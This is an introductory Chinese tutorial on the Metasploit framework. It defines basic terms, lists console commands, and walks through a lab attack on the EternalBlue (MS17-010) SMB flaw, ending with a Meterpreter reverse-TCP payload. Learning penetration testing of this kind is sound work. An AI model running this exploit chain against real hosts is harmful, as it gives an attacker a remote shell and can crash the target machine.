一、什么是msf
Metasploit就是一个安全漏洞检测工具。它的全称叫做The Metasploit Framework,简称MSF。
msf专业术语:
1. 渗透攻击(Exploit)
攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
2. 攻击载荷(Payload)
目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。
3. 溢出代码(Shellcode)
渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。
4. 模块(Module)
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。
5. 监听器(Listener)
监听器是MSF中用来等待连入网络连接的组件。
二、MSF的一些常用命令
msfconsole
:启动Metasploit控制台。
use <模块>
:选择要使用的模块,例如use exploit/windows/smb/ms08_067_netapi
。
show options
:显示当前模块的可配置参数。
set <参数> <值>
:设置模块的参数值。
exploit
:执行已配置的模块并尝试利用目标系统。
search <关键词>
:搜索可用的模块。
sessions
:显示当前会话列表。
sessions -i <会话ID>
:切换到指定的会话。
background
:将当前会话置于后台运行。
use multi/handler
:启动一个监听器,等待来自攻击载荷的连接。
set payload <载荷>
:设置监听器使用的攻击载荷。
run
:执行监听器并等待连接。
二、我们通过实验来实践一下MSF的使用吧
1. 开启MSF:msfconsole
2. 我们使用永恒之蓝来进行实验吧
永恒之蓝的编号:ms17-010
搜索漏洞:search [漏洞编号]
3. 进入要使用的模块
设置模块:use auxiliary/scanner/smb/smb_ms17_010
4. 查看需要配置的设置:options
5. 设置目标地址:set rhosts [目标IP]
6. 设置完成后使用run或者exploit进行攻击
三、设置攻击模块进行攻击
1. 使用攻击模块:use exploit/windows/smb/ms17_010_eternalblue
查看所需设置:show options
设置目标地址:set RHOSTS [目标地址]
设置目标端口:set RPOST 445
设置payload:set payload windows/x64/meterpreter/reverse_tcp
设置本地地址:set LHOST [本地地址]
攻击:run/exploit
!注!:只能对有该漏洞的主机进行攻击
!注!:存在一定几率将目标机器打成蓝屏状态